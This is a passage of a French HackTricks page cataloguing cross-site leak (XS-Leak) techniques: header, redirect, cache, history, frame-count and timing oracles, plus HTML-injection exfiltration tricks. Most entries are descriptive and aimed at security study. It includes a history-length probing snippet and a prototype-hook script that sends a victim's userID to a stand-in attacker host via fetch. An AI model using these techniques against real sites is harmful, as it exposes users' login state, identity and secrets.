Si une page charge une image uniquement si l’utilisateur est connecté, vous pouvez invalider la ressource (pour qu’elle ne soit plus mise en cache si elle l’était, voir les liens pour plus d’infos), effectuer une requête qui pourrait charger cette ressource et essayer de charger la ressource avec une requête malformée (par exemple en utilisant un referer header trop long). Si le chargement de la ressource n’a déclenché aucune erreur, c’est parce qu’elle était en cache.
CSP Directive
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
- Summary: CSP header directives can be probed using the CSP iframe attribute, revealing policy details.
- Code Example: https://xsinator.com/testing.html#CSP%20Directive%20Leak
Une fonctionnalité récente dans Google Chrome permet aux pages web de proposer une Content Security Policy (CSP) en définissant un attribut sur un élément iframe, avec les directives de politique transmises avec la requête HTTP. Normalement, le contenu embarqué doit autoriser cela via un en-tête HTTP, sinon une page d’erreur est affichée. Cependant, si l’iframe est déjà gouvernée par une CSP et que la nouvelle politique proposée n’est pas plus permissive, la page se charge normalement. Ce mécanisme ouvre une voie pour qu’un attaquant détecte des directives CSP spécifiques d’une page cross-origin en identifiant la page d’erreur. Bien que cette vulnérabilité ait été signalée comme corrigée, nos découvertes révèlent une nouvelle technique de leak capable de détecter la page d’erreur, suggérant que le problème sous-jacent n’a jamais été entièrement résolu.
CORP
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsleaks.dev/docs/attacks/browser-features/corp/
- Summary: Resources secured with Cross-Origin Resource Policy (CORP) will throw an error when fetched from a disallowed origin.
- Code Example: https://xsinator.com/testing.html#CORP%20Leak
L’en-tête CORP est une fonctionnalité de sécurité de la plateforme web relativement récente qui, lorsqu’il est défini, bloque les requêtes cross-origin en mode no-cors vers la ressource donnée. La présence de cet en-tête peut être détectée, parce qu’une ressource protégée par CORP lancera une erreur lorsqu’elle est fetchée depuis une origine non autorisée.
CORB
- Inclusion Methods: HTML Elements
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
- Summary: CORB can allow attackers to detect when the
nosniffheader is present in the request. - Code Example: https://xsinator.com/testing.html#CORB%20Leak
Consultez le lien pour plus d’informations sur l’attaque.
CORS error on Origin Reflection misconfiguration
- Inclusion Methods: Fetch API
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
- Summary: If the Origin header is reflected in the header
Access-Control-Allow-Originit’s possible to check if a resource is in the cache already. - Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
Si l’en-tête Origin est reflété dans l’en-tête Access-Control-Allow-Origin, un attaquant peut abuser de ce comportement pour tenter de fetch la ressource en mode CORS. Si aucune erreur n’est déclenchée, cela signifie qu’elle a été récupérée correctement depuis le web ; si une erreur est déclenchée, c’est parce qu’elle a été accédée depuis le cache (l’erreur apparaît parce que le cache conserve une réponse avec un en-tête CORS autorisant le domaine original et non celui de l’attaquant).
Notez que si l’origin n’est pas reflété mais qu’un wildcard est utilisé (Access-Control-Allow-Origin: *), cela ne fonctionnera pas.
Readable Attributes Technique
Fetch Redirect
- Inclusion Methods: Fetch API
- Detectable Difference: Status Code
- More info: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
- Summary: GC and SA allow to check the response’s type (opaque-redirect) after the redirect is finished.
- Code Example: https://xsinator.com/testing.html#Fetch%20Redirect%20Leak
En soumettant une requête avec la Fetch API en utilisant redirect: "manual" et d’autres paramètres, il est possible de lire l’attribut response.type et si sa valeur est opaqueredirect, alors la réponse était une redirection.
COOP
- Inclusion Methods: Pop-ups
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
- Summary: Pages safeguarded by Cross-Origin Opener Policy (COOP) prevent access from cross-origin interactions.
- Code Example: https://xsinator.com/testing.html#COOP%20Leak
Un attaquant peut déduire la présence de l’en-tête Cross-Origin Opener Policy (COOP) dans une réponse HTTP cross-origin. COOP est utilisé par les applications web pour empêcher des sites externes d’obtenir des références window arbitraires. La visibilité de cet en-tête peut être déterminée en tentant d’accéder à la référence contentWindow. Dans les scénarios où COOP est appliqué de manière conditionnelle, la propriété opener devient un indicateur révélateur : elle est undefined lorsque COOP est actif, et defined lorsqu’il est absent.
URL Max Length - Server Side
- Inclusion Methods: Fetch API, HTML Elements
- Detectable Difference: Status Code / Content
- More info: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
- Summary: Detect differences in responses because of the redirect response length migt be too large that the server replays with an error and an alert is generated.
- Code Example: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak
Si une redirection côté serveur utilise des données utilisateur dans l’URL de redirection et des données supplémentaires, il est possible de détecter ce comportement parce que généralement les serveurs ont une limite de longueur de requête. Si les données utilisateur ont une longueur égale à cette limite moins 1, et que la redirection ajoute quelque chose en plus, cela déclenchera une erreur détectable via des Error Events.
Si vous pouvez d’une manière ou d’une autre définir des cookies pour un utilisateur, vous pouvez aussi réaliser cette attaque en créant suffisamment de cookies (cookie bomb) de sorte qu’avec l’augmentation de la taille de la réponse la bonne réponse déclenche une erreur. Dans ce cas, rappelez-vous que si vous déclenchez cette requête depuis le même site, <script> enverra automatiquement les cookies (vous pouvez donc vérifier les erreurs).
Un exemple du cookie bomb + XS-Search se trouve dans la solution prévue de ce writeup : https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended
SameSite=None ou être dans le même contexte est généralement nécessaire pour ce type d’attaque.
URL Max Length - Client Side
- Inclusion Methods: Pop-ups
- Detectable Difference: Status Code / Content
- More info: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
- Summary: Detect differences in responses because of the redirect response length might too large for a request that a difference can be noticed.
- Code Example: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
D’après la documentation de Chromium, la longueur maximale d’URL de Chrome est de 2MB.
En général, la plateforme web n’impose pas de limites sur la longueur des URLs (bien que 2^31 soit une limite courante). Chrome limite les URLs à une longueur maximale de 2MB pour des raisons pratiques et pour éviter des problèmes de déni de service dans la communication inter-processus.
Ainsi, si l’URL de redirection renvoyée est plus longue dans un des cas, il est possible de la faire rediriger avec une URL plus grande que 2MB pour atteindre la limite de longueur. Lorsque cela se produit, Chrome affiche une page about:blank#blocked.
La différence notable est que si la redirection s’est terminée, window.origin lance une erreur parce qu’une origine cross-origin ne peut pas accéder à cette information. Cependant, si la limite est atteinte et que la page chargée est about:blank#blocked, l’origin de la fenêtre reste celui du parent, ce qui est une information accessible.
Toutes les informations additionnelles nécessaires pour atteindre les 2MB peuvent être ajoutées via un hash dans l’URL initiale afin qu’elles soient utilisées dans la redirection.
Max Redirects
- Inclusion Methods: Fetch API, Frames
- Detectable Difference: Status Code
- More info: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
- Summary: User the browser’s redirect limit to ascertain the occurrence of URL redirections.
- Code Example: https://xsinator.com/testing.html#Max%20Redirect%20Leak
Si le nombre maximal de redirects suivi par un navigateur est 20, un attaquant pourrait tenter de charger sa page avec 19 redirects puis envoyer la victime vers la page testée. Si une erreur est déclenchée, alors la page essayait de rediriger la victime.
History Length
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Redirects
- More info: https://xsleaks.dev/docs/attacks/navigations/
- Summary: JavaScript code manipulates the browser history and can be accessed by the length property.
- Code Example: https://xsinator.com/testing.html#History%20Length%20Leak
L’API History permet au code JavaScript de manipuler l’historique du navigateur, qui enregistre les pages visitées par un utilisateur. Un attaquant peut utiliser la propriété length comme méthode d’inclusion : pour détecter des navigations JavaScript et HTML.
En vérifiant history.length, en faisant naviguer un utilisateur vers une page, en le ramenant back vers la même origine et en vérifiant la nouvelle valeur de history.length.
History Length with same URL
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: If URL is the same as the guessed one
- Summary: It’s possible to guess if the location of a frame/popup is in an specific URL abusing the history length.
- Code Example: Below
Un attaquant pourrait utiliser du code JavaScript pour changer la location du frame/pop-up vers une URL devinée puis immédiatement la remplacer par about:blank. Si la longueur de l’historique a augmenté, cela signifie que l’URL devinée était correcte et a eu le temps d’augmenter la longueur (parce que l’URL n’est pas rechargée si elle est identique). Si elle n’a pas augmenté, cela signifie qu’elle a essayé de charger l’URL devinée mais que, comme nous avons immédiatement chargé about:blank, la longueur de l’historique n’a jamais augmenté lors du chargement de l’URL devinée.
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))
win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))
Frame Counting
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/frame-counting/
- Summary: Évaluer la quantité d’éléments iframe en inspectant la propriété
window.length. - Code Example: https://xsinator.com/testing.html#Frame%20Count%20Leak
Compter le nombre de frames dans une page web ouverte via iframe ou window.open peut aider à identifier le statut de l’utilisateur sur cette page.
De plus, si la page a toujours le même nombre de frames, vérifier en continu le nombre de frames peut permettre d’identifier un pattern susceptible de révéler des informations.
Un exemple de cette technique : dans Chrome, un PDF peut être détecté via le frame counting parce qu’un embed est utilisé en interne. Il existe des Open URL Parameters qui permettent un certain contrôle du contenu comme zoom, view, page, toolbar où cette technique peut être intéressante.
HTMLElements
- Inclusion Methods: HTML Elements
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/element-leaks/
- Summary: Lire la valeur leaked pour distinguer entre 2 états possibles
- Code Example: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak
Les Information leak via des éléments HTML sont une préoccupation en sécurité web, notamment lorsque des fichiers média dynamiques sont générés en fonction d’informations utilisateur, ou lorsque des watermarks sont ajoutés et modifient la taille des médias. Un attaquant peut exploiter cela pour différencier des états possibles en analysant les informations exposées par certains éléments HTML.
Information Exposed by HTML Elements
- HTMLMediaElement: Cet élément révèle la
durationet les plagesbuffereddu média, accessibles via son API. Read more about HTMLMediaElement - HTMLVideoElement: Il expose
videoHeightetvideoWidth. Dans certains navigateurs, des propriétés additionnelles commewebkitVideoDecodedByteCount,webkitAudioDecodedByteCount, etwebkitDecodedFrameCountsont disponibles, offrant plus d’informations sur le contenu média. Read more about HTMLVideoElement - getVideoPlaybackQuality(): Cette fonction fournit des détails sur la qualité de lecture vidéo, incluant
totalVideoFrames, qui peut indiquer la quantité de données vidéo traitées. Read more about getVideoPlaybackQuality() - HTMLImageElement: Cet élément fuit la
heightet lawidthd’une image. Cependant, si une image est invalide, ces propriétés retourneront 0, et la fonctionimage.decode()sera rejetée, indiquant l’échec du chargement. Read more about HTMLImageElement
CSS Property
- Inclusion Methods: HTML Elements
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
- Summary: Identifier des variations de style du site corrélées avec l’état ou le statut de l’utilisateur.
- Code Example: https://xsinator.com/testing.html#CSS%20Property%20Leak
Les applications web peuvent modifier le style du site en fonction du statut de l’utilisateur. Des fichiers CSS cross-origin peuvent être inclus sur la page de l’attaquant via l’élément HTML link, et les rules seront appliquées à la page attaquante. Si une page change dynamiquement ces rules, un attaquant peut détecter ces différences selon l’état de l’utilisateur.
Comme technique de leak, l’attaquant peut utiliser la méthode window.getComputedStyle pour lire des propriétés CSS d’un élément HTML spécifique. En conséquence, un attaquant peut lire des propriétés CSS arbitraires si l’élément affecté et le nom de la propriété sont connus.
CSS History
- Inclusion Methods: HTML Elements
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
- Summary: Détecter si le style
:visitedest appliqué à une URL, indiquant qu’elle a déjà été visitée - Code Example: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
Tip
Selon this, ceci ne fonctionne pas dans headless Chrome.
Le sélecteur CSS :visited est utilisé pour styliser différemment les URL déjà visitées par l’utilisateur. Par le passé, la méthode getComputedStyle() pouvait être employée pour identifier ces différences de style. Cependant, les navigateurs modernes ont introduit des mesures de sécurité empêchant cette méthode de révéler l’état d’un lien. Ces mesures incluent le retour systématique du style calculé comme si le lien était visité et la restriction des styles pouvant être appliqués via :visited.
Malgré ces restrictions, il est possible de discerner indirectement l’état visité d’un lien. Une technique consiste à tromper l’utilisateur pour qu’il interagisse avec une zone affectée par le CSS, en utilisant spécifiquement la propriété mix-blend-mode. Cette propriété permet de mélanger les éléments avec leur arrière-plan, potentiellement révélant l’état visité lors d’une interaction utilisateur.
De plus, la détection peut être réalisée sans interaction utilisateur en exploitant les temps de rendu des liens. Comme les navigateurs peuvent rendre différemment les liens visited vs unvisited, cela peut introduire une différence de temps mesurable. Un PoC mentionné dans un bug Chromium démontre cette technique en utilisant plusieurs liens pour amplifier la différence temporelle, rendant l’état visité détectable par analyse de timing.
Pour plus de détails sur ces propriétés et méthodes, consultez leur documentation :
:visited: MDN DocumentationgetComputedStyle(): MDN Documentationmix-blend-mode: MDN Documentation
ContentDocument X-Frame Leak
- Inclusion Methods: Frames
- Detectable Difference: Headers
- More info: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
- Summary: Dans Google Chrome, une page d’erreur dédiée est affichée lorsqu’une page est bloquée d’être embarquée cross-origin à cause des restrictions X-Frame-Options.
- Code Example: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
Dans Chrome, si une page avec l’en-tête X-Frame-Options défini sur “deny” ou “same-origin” est embarquée comme objet, une page d’erreur apparaît. Chrome retourne de façon unique un document vide (au lieu de null) pour la propriété contentDocument de cet objet, contrairement aux iframes ou à d’autres navigateurs. Des attaquants pourraient exploiter ceci en détectant le document vide, ce qui peut potentiellement révéler des informations sur l’état de l’utilisateur, surtout si des développeurs configurent de manière inconsistante l’en-tête X-Frame-Options, en oubliant souvent les pages d’erreur. La sensibilisation et l’application cohérente des en-têtes de sécurité sont cruciales pour prévenir ce type de leak.
Download Detection
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
- Summary: Un attaquant peut discerner des téléchargements de fichiers en utilisant des iframes ; l’accessibilité continue de l’iframe implique un téléchargement réussi.
- Code Example: https://xsleaks.dev/docs/attacks/navigations/#download-bar
L’en-tête Content-Disposition, spécifiquement Content-Disposition: attachment, ordonne au navigateur de télécharger le contenu plutôt que de l’afficher inline. Ce comportement peut être exploité pour détecter si un utilisateur a accès à une page qui déclenche un téléchargement de fichier. Dans les navigateurs basés sur Chromium, il existe plusieurs techniques pour détecter ce comportement :
- Surveillance de la download bar:
- Lorsqu’un fichier est téléchargé dans les navigateurs basés sur Chromium, une download bar apparaît en bas de la fenêtre.
- En surveillant les changements de la hauteur de la fenêtre, un attaquant peut déduire l’apparition de la download bar, suggérant qu’un téléchargement a été initié.
- Navigation de téléchargement avec iframes:
- Quand une page déclenche un téléchargement via
Content-Disposition: attachment, cela ne provoque pas d’événement de navigation. - En chargeant le contenu dans une iframe et en surveillant les événements de navigation, il est possible de vérifier si la disposition du contenu provoque un téléchargement (aucune navigation) ou non.
- Navigation de téléchargement sans iframes:
- Similaire à la technique iframe, mais en utilisant
window.openau lieu d’une iframe. - Surveiller les événements de navigation dans la nouvelle fenêtre ouverte peut révéler si un téléchargement a été déclenché (pas de navigation) ou si le contenu est affiché inline (navigation).
Dans des scénarios où seuls des utilisateurs authentifiés peuvent déclencher ces téléchargements, ces techniques peuvent être utilisées pour inférer indirectement l’état d’authentification de l’utilisateur en fonction de la réponse du navigateur à la requête de téléchargement.
Partitioned HTTP Cache Bypass
- Inclusion Methods: Pop-ups
- Detectable Difference: Timing
- More info: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
- Summary: Un attaquant peut discerner des téléchargements de fichiers en utilisant des iframes ; l’accessibilité continue de l’iframe implique un téléchargement réussi.
- Code Example: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (from https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)
Warning
This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is:
(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be:(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)
Si un site example.com inclut une ressource depuis *.example.com/resource alors cette ressource aura la même clé de cache que si la ressource était demandée directement via une navigation top-level. Cela s’explique par le fait que la clé de cache est composée du top-level eTLD+1 et du frame eTLD+1.
Parce que l’accès au cache est plus rapide que le chargement d’une ressource, il est possible d’essayer de changer la location d’une page et d’annuler la navigation après 20ms (par exemple). Si l’origine a changé après l’arrêt, cela signifie que la ressource était en cache.
On peut aussi simplement envoyer un fetch vers la page potentiellement en cache et mesurer le temps que cela prend.
Manual Redirect
- Inclusion Methods: Fetch API
- Detectable Difference: Redirects
- More info: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
- Summary: Il est possible de déterminer si une réponse à une requête fetch est une redirection
- Code Example:
.png)
Fetch with AbortController
- Inclusion Methods: Fetch API
- Detectable Difference: Timing
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
- Summary: Il est possible d’essayer de charger une ressource et, avant qu’elle ne soit complètement chargée, d’interrompre le chargement. Selon si une erreur est déclenchée, la ressource était ou n’était pas en cache.
- Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
Utilisez fetch et setTimeout avec un AbortController pour à la fois détecter si la resource est cached et pour évincer une ressource spécifique du cache du navigateur. De plus, le processus s’effectue sans mettre en cache du nouveau contenu.
Script Pollution
- Inclusion Methods: HTML Elements (script)
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
- Summary: Il est possible de écraser des fonctions natives et de lire leurs arguments, même pour des scripts cross-origin (qui ne peuvent pas être lus directement) ; cela peut leak des informations précieuses.
- Code Example: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
Prototype hooks to exfiltrate module-scoped data
Pré-définir Function.prototype.default et Function.prototype.__esModule = 1 avant de charger un module afin que son export default appelle votre hook (par ex. reçoit {userID: ...}), vous permettant de lire des valeurs scoped au module sans recourir au timing ou au brute force.
<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>
La requête elle-même devient aussi un oracle d’état de connexion si le script ne se charge que pour les utilisateurs authentifiés.
Service Workers
- Méthodes d’inclusion: Pop-ups
- Différence détectable: Contenu de la page
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
- Résumé : Mesurer le temps d’exécution d’une page web en utilisant des service workers.
- Exemple de code :
Dans ce scénario, l’attaquant prend l’initiative d’enregistrer un service worker sur l’un de ses domaines, spécifiquement “attacker.com”. Ensuite, l’attaquant ouvre une nouvelle fenêtre du site cible depuis le document principal et ordonne au service worker de démarrer un chronomètre. Pendant que la nouvelle fenêtre commence à se charger, l’attaquant navigue la référence obtenue à l’étape précédente vers une page gérée par le service worker.
À l’arrivée de la requête initiée à l’étape précédente, le service worker répond avec un code d’état 204 (No Content), mettant effectivement fin à la navigation. À ce moment-là, le service worker récupère une mesure depuis le chronomètre démarré plus tôt à l’étape deux. Cette mesure est influencée par la durée du JavaScript provoquant des retards dans le processus de navigation.
Warning
Dans un timing d’exécution, il est possible d’éliminer les facteurs réseau pour obtenir des mesures plus précises. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.
Fetch Timing
- Méthodes d’inclusion: Fetch API
- Différence détectable: Timing (généralement dû au Contenu de la page, au Code de statut)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
- Résumé : Utiliser performance.now() pour mesurer le temps nécessaire pour effectuer une requête. D’autres horloges peuvent être utilisées.
- Exemple de code: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
Cross-Window Timing
- Méthodes d’inclusion: Pop-ups
- Différence détectable: Timing (généralement dû au Contenu de la page, au Code de statut)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
- Résumé : utiliser performance.now() pour mesurer le temps nécessaire pour effectuer une requête en utilisant
window.open. D’autres horloges peuvent être utilisées. - Exemple de code: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
Subdomain probing for identity/login state
- Méthodes d’inclusion: éléments HTML (script), Frames
- Différence détectable: succès de chargement DNS/HTTP, changements CORB/en-têtes
- Résumé : Si des identifiants résident dans les labels de sous-domaine (par ex.,
www.<username>.sb.facebook.com), demander des ressources sur des hôtes candidats et traiteronloadvsonerror/timeouts comme un booléen. Combiner avec des scripts accessibles uniquement en cas de connexion (par ex.,/signals/iwl.js) pour brute-forcer des noms d’utilisateur et vérifier l’authentification sur les propriétés associées. - Note : Les signaux peuvent être amplifiés avec différents types d’inclusion (
script,iframe,object) pour détecterX-Frame-Options,CORBou des différences de redirection selon le candidat.
With HTML or Re Injection
Vous trouverez ici des techniques pour exfiltrer des informations depuis un HTML cross-origin en injectant du contenu HTML. Ces techniques sont intéressantes dans les cas où, pour une raison quelconque, vous pouvez injecter du HTML mais pas du code JS.
Dangling Markup
Dangling Markup - HTML scriptless injection
Image Lazy Loading
Si vous devez exfiltrer du contenu et que vous pouvez ajouter du HTML avant le secret vous devriez vérifier les common dangling markup techniques.
Cependant, si pour une raison quelconque vous DEVEZ le faire caractère par caractère (peut-être que la communication se fait via un hit de cache) vous pouvez utiliser cette astuce.
Images en HTML ont un attribut “loading” dont la valeur peut être “lazy”. Dans ce cas, l’image sera chargée lorsqu’elle sera visible et non pendant le chargement de la page :
<img src=/something loading=lazy >
Donc, ce que vous pouvez faire est de ajouter beaucoup de caractères inutiles (Par exemple des milliers de “W”) pour remplir la page web avant le secret ou ajouter quelque chose comme <br><canvas height="1850px"></canvas><br>.
Ensuite, par exemple, si notre injection apparaît avant le flag, l’image serait chargée, mais si elle apparaît après le flag, le flag + les caractères inutiles empêcheront son chargement (vous devrez ajuster la quantité de caractères inutiles à placer). C’est ce qui s’est passé dans this writeup.
Another option would be to use the scroll-to-text-fragment if allowed:
Scroll-to-text-fragment
However, you make the bot access the page with something like
#:~:text=SECR
Donc, la page web sera quelque chose comme : https://victim.com/post.html#:~:text=SECR
Où post.html contient les caractères superflus de l’attaquant et une lazy load image, puis le secret du bot est ajouté.
Ce texte forcera le bot à accéder à n’importe quel texte de la page contenant le texte SECR. Comme ce texte est le secret et se trouve juste sous l’image, l’image ne se chargera que si le secret deviné est correct. Vous avez donc votre oracle pour exfiltrer le secret caractère par caractère.
Un exemple de code pour exploiter ceci : https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
Image Lazy Loading Time Based
Si il n’est pas possible de charger une image externe qui pourrait indiquer à l’attaquant que l’image a été chargée, une autre option est d’essayer de deviner le caractère plusieurs fois et de mesurer cela. Si l’image est chargée, toutes les requêtes prendraient plus de temps que si l’image n’est pas chargée. C’est ce qui a été utilisé dans la solution of this writeup résumée ici :
Event Loop Blocking + Lazy images
ReDoS
Regular expression Denial of Service - ReDoS
CSS ReDoS
Si jQuery(location.hash) est utilisé, il est possible de déterminer via le timing si du contenu HTML existe, car si le sélecteur main[id='site-main'] ne correspond pas il n’a pas besoin de vérifier le reste des sélecteurs :
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)
CSS Injection
Défenses
Des mesures d’atténuation sont recommandées dans https://xsinator.com/paper.pdf ainsi que dans chaque section du wiki https://xsleaks.dev/. Consultez ces ressources pour obtenir plus d’informations sur la manière de se protéger contre ces techniques.
Références
- https://xsinator.com/paper.pdf
- https://xsleaks.dev/
- https://github.com/xsleaks/xsleaks
- https://xsinator.com/
- https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
- Cross-Site Leaks (XS-Leaks) across Meta platforms
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


